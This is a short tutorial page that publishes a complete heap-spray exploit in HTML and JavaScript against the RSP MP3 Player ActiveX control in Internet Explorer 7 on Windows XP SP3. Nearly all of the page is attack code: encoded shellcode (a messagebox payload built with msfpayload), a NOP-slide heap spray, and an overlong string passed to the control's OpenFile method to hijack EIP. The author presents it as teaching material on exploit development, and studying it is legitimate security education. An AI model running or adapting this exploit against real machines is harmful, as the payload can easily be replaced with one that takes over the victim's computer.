## RSP MP3 Player OCX (Heap Spray)

Created for part eight of my exploit development tutorials covering Heap Sprays - Part 1.

    <!--------------------------------------------------------------------------------
    // Exploit: RSP MP3 Player OCX ActiveX Heap Spray                               //
    // Author: b33f - http://www.fuzzysecurity.com/                                 //
    // OS: Tested on XP PRO SP3                                                     //
    // Browser: IE 7.00                                                             //
    // Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/  //
    //           16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip          //
    //------------------------------------------------------------------------------//
    // This exploit was created for Part 8 of my Exploit Development tutorial       //
    // series => http://www.fuzzysecurity.com/tutorials/expDev/8.html               //
    --------------------------------------------------------------------------------->

    <html>
      <head>
      	<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
      </head>
      <body>
      <script>

      	//msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
      	var Shellcode = unescape(
    	'%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+
    	'%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+
    	'%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+
    	'%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+
    	'%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+
    	'%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+
    	'%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+
    	'%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+
    	'%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+
    	'%ud011%u258a%u066a%u0a1d%u58c4%u820b');

    	var NopSlide = unescape('%u9090%u9090');

        var headersize = 20;
        var slack = headersize + Shellcode.length;

        while (NopSlide.length < slack) NopSlide += NopSlide;
        var filler = NopSlide.substring(0,slack);
        var chunk = NopSlide.substring(0,NopSlide.length - slack);

        while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
        var memory = new Array();
        for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }

        // Trigger crash => EIP = 0x06060606
    	pointer='';
        for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
        Oops.OpenFile(pointer);

      </script>
    </body>
    </html>